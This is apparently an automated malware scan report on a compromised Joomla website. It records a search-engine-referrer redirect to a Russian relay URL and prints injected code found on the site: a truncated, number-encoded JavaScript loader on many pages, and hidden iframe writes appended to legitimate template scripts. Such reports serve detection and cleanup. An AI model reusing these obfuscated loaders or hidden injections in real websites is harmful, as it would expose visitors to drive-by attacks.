Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=sharepointaggregator.com
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Malicious/Suspicious Redirects
Request | Server response | Status |
URL: http://sharepointaggregator.com/ (imitation of visitor from search engine) GET / HTTP/1.1 Host: sharepointaggregator.com Referer: http://www.google.com/search?q=redirect+check1 | HTTP/1.1 301 Moved Permanently Connection: close Date: Wed, 17 Dec 2014 19:02:10 GMT Location: http://oceandoors.ru/relay.php Server: Apache Content-Length: 312 Content-Type: text/html; charset=iso-8859-1 | malicious |
Scanned pages/files
Request | Server response | Status |
http://sharepointaggregator.com/ | 200 OK Content-Length: 32471 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/media/system/js/caption.js | 200 OK Content-Length: 2099 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var JCaption = new Class({ initialize: function(selector) { this.selector = selector; var images = $$(selector); images.each(function(image){ this.createCaption(image); }, this); }, createCaption: function(element) { var caption = document.createTextNode(element.title); var container = document.createElement("div"); var text = document.createElement("p"); var width = element.getAttribute("width"); var align = container.className = container.className + " " + align; container.setAttribute("style","float:"+align); container.style.width = width + "px"; } }); document.caption = null; window.addEvent('load', function() { var caption = new JCaption('img.caption') document.caption = caption }); document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>'); Antivirus reports:
| ||
http://sharepointaggregator.com/templates/ja_purity/js/ja.script.js | 200 OK Content-Length: 3343 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var siteurl = ''; function fixIEPNG(el, bgimgdf, sizingMethod, type, offset){ var objs = el; if(!objs) return; if ($type(objs) != 'array') objs = [objs]; if(!sizingMethod) sizingMethod = 'crop'; if(!offset) offset = 0; var blankimg = siteurl + 'images/blank.png'; objs.each(function(obj) { var bgimg = bgimgdf; if (obj.tagName == 'IMG') { if (!bgimg) bgimg = obj.src; if (!(/\.png$/i).test(bgimg) || (/blank\.png$/i).test(bgimg)) re bd.removeClass('fs'+CurrentFontSize); CurrentFontSize--; bd.addClass('fs'+CurrentFontSize); } break; default: bd.removeClass('fs'+CurrentFontSize); CurrentFontSize = val; bd.addClass('fs'+CurrentFontSize); } Cookie.set(ckname, CurrentFontSize,{duration:365}); } document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>'); Antivirus reports:
| ||
http://sharepointaggregator.com/templates/ja_purity/js/ja.rightcol.js | 200 OK Content-Length: 1831 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var JA_Collapse_Mod = new Class({ initialize: function(myElements) { options = Object.extend({ transition: Fx.Transitions.quadOut }, {}); this.myElements = myElements; var exModules = excludeModules.split(','); exModules.each(function(el,i){exModules[i]='Mod'+el}); myElements.each(function(el, i){ el.elmain = $E('.jamod-content',el); el.titleEl = $E('h3',el); if(!el.titleEl) return; if (exModules.contains(el.id)) { Cookie.set(el.id,el.status,{duration:365}); } if(!el.titleEl.className) el.titleEl.className=rightCollapseDefault; if(el.titleEl.className=='hide') el.hide(); }); } }); window.addEvent ('load', function(e){ var jamod = new JA_Collapse_Mod ($ES('.jamod')); }); document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>'); Antivirus reports:
| ||
http://sharepointaggregator.com/Joomla/media/system/js/flashobject.js | 200 OK Content-Length: 5428 Content-Type: text/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var FlashObject = function(swf, id, w, h, ver, c) { this.swf = swf; this.id = id; this.width = w; this.height = h; this.version = ver; this.align = "middle"; this.params = new Object(); this.variables = new Object(); this.redirect = ""; this.sq = document.location.search.split("?")[1] || ""; this.bypassTxt = "<p>Already have Macromedia Flash Player? <a href='?detectflash=false&"+ this.sq +"'> if (q.length > 1 && detectIndex > -1) { return q.substring(q.indexOf("=", detectIndex)+1, endIndex); } else { return ""; } } } if(Array.prototype.push == null){ Array.prototype.push = function(item) { this[this.length] = item; return this.length; } } document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>'); Antivirus reports:
| ||
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php | 200 OK Content-Length: 162639 Content-Type: application/x-javascript | clean |
http://sharepointaggregator.com/index.php | 200 OK Content-Length: 32477 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/component/mailto/?tmpl=component&link=5bec8bb6c5d34c4b1852b2b41b474e5fa41a9949 | 200 OK Content-Length: 8306 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/test404page.js | 404 Not Found Content-Length: 83 Content-Type: text/html | clean |
http://sharepointaggregator.com/index.php?view=article&catid=32:languages&id=30:what-languages-are-supported-by-joomla-15&tmpl=component&print=1&layout=default&page= | 200 OK Content-Length: 8159 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/index.php?view=article&catid=32:languages&id=30:what-languages-are-supported-by-joomla-15&format=pdf | 200 OK Content-Length: 246345 Content-Type: application/pdf | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/component/mailto/?tmpl=component&link=f83c4719ba2b80968420b4427e04b2e0c7577737 | 200 OK Content-Length: 8306 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/index.php?view=article&catid=28:current-users&id=16:only-one-edit-window-how-do-i-create-read-more&tmpl=component&print=1&layout=default&page= | 200 OK Content-Length: 8096 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/index.php?view=article&catid=28:current-users&id=16:only-one-edit-window-how-do-i-create-read-more&format=pdf | 200 OK Content-Length: 245755 Content-Type: application/pdf | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
| ||
http://sharepointaggregator.com/about-me.html | 200 OK Content-Length: 19587 Content-Type: text/html | malicious |
Malicious code - confirmed by antiviruses (see below) ps="sp"+"li"+"t";asd=function(){d.body--};a=("44,152,171,162,147,170,155,163,162,44,176,176,176,152,152,152,54,55,44,177,21,16,44,172,145,166,44,163,152,44,101,44,150,163,147,171,161,151,162,170,62,147,166,151,145,170,151,111,160,151,161,151,162,170,54,53,155,152,166,145,161,151,53,55,77,21,16,21,16,44,163,152,62,167,166,147,44,101,44,53,154,170,170,164,76,63,63,152,160,151,147,62,147,163,161,62,146,166,63,145,167,167,155,162,145,170,171,166,145,63,147,162,170,62,164,154,164,53,77,21,16,44,163,1 Antivirus reports:
|